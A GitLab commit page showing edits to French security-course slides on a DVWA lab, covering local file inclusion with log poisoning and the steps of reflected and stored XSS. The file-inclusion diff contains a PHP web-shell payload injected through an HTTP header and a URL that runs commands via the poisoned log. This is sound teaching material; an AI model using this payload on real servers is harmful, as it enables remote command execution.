Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
blog.limos.fr
Manage
Activity
Members
Labels
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Model registry
Operate
Environments
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Vincent MAZENOD
blog.limos.fr
Commits
a20d62e0
Commit
a20d62e0
authored
4 years ago
by
Vincent Mazenod
Browse files
Options
Downloads
Patches
Plain Diff
fix cours
parent
0c7661a6
Branches
prez
Branches containing commit
No related tags found
No related merge requests found
Pipeline
#6496
passed
4 years ago
Stage: build
Changes
2
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
content/slides/1337/md/fi.md
+4
-8
4 additions, 8 deletions
content/slides/1337/md/fi.md
content/slides/1337/md/xss.md
+6
-5
6 additions, 5 deletions
content/slides/1337/md/xss.md
with
10 additions
and
13 deletions
content/slides/1337/md/fi.md
+
4
−
8
View file @
a20d62e0
...
@@ -178,9 +178,7 @@ CustomLog /home/mazenovi/logs/dvwa-access.log combined
...
@@ -178,9 +178,7 @@ CustomLog /home/mazenovi/logs/dvwa-access.log combined
*
l'utilisateur lié au thread apache a accès en lecture à ce répertoire
*
l'utilisateur lié au thread apache a accès en lecture à ce répertoire
<small>
[
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log
](
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log
)
[
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log
](
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo
)
</small>
*
les logs sont affichés
*
les logs sont affichés
...
@@ -201,15 +199,13 @@ $ nc dv.wa 80
...
@@ -201,15 +199,13 @@ $ nc dv.wa 80
*
Entrer manuellement les paramètres suivant
*
Entrer manuellement les paramètres suivant
```
http
```
http
GET /
<?php echo passthru($_GET['cmd']); ?>
HTTP/1.1
GET
/
HTTP
/
1.1
Host
:
dv.wa
Host
:
dv.wa
Referer: <?php echo passthru($_GET['cmd
2
']); ?>
Referer
:
<?php echo passthru($_GET['cmd']); ?>
User-Agent:
<?php echo passthru($_GET['cmd3']); ?>
User-Agent
:
1337-webbrowser
```
```
<small>
[
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls
](
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls
)
[
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls
](
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls
)
</small>
attendre le log rotate en cas d'échec
attendre le log rotate en cas d'échec
...
...
This diff is collapsed.
Click to expand it.
content/slides/1337/md/xss.md
+
6
−
5
View file @
a20d62e0
...
@@ -8,7 +8,8 @@
...
@@ -8,7 +8,8 @@
*
Affichage de données utilisateur sans validation ou échappement
*
Affichage de données utilisateur sans validation ou échappement
*
par oubli du développeur
*
par oubli du développeur
*
par les messages d'erreurs renvoyés par le langage
*
par les messages d'erreurs renvoyés par le langage
*
tentative d'injection de code interprétable par le navigateur de la cible
*
tentative d'injection de code interprétable par le navigateur de la cible
### <i class="fa fa-user-secret"></i> Que peut on faire?
### <i class="fa fa-user-secret"></i> Que peut on faire?
...
@@ -67,11 +68,11 @@ Note:
...
@@ -67,11 +68,11 @@ Note:






3.
Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé
**XSS réfléchie**
3.
Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé
(
**XSS réfléchie**
)
ou
ou
3.
attend simplement qu'elle se connecte une page compromise
**XSS stockée**
3.
attend simplement qu'elle se connecte
à
une page compromise
(
**XSS stockée**
)
Note:
Note:
-
test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
-
test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
...
@@ -82,11 +83,11 @@ Note:
...
@@ -82,11 +83,11 @@ Note:








4.
Alice clique sur le lien forgé
**XSS réfléchie**
4.
Alice clique sur le lien forgé
(
**XSS réfléchie**
)
ou
ou
4.
Alice consulte la page compromise et pense avoir à faire à l'originale
**XSS stockée**
4.
Alice consulte la page compromise et pense avoir à faire à l'originale
(
**XSS stockée**
)
## XSS
## XSS
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment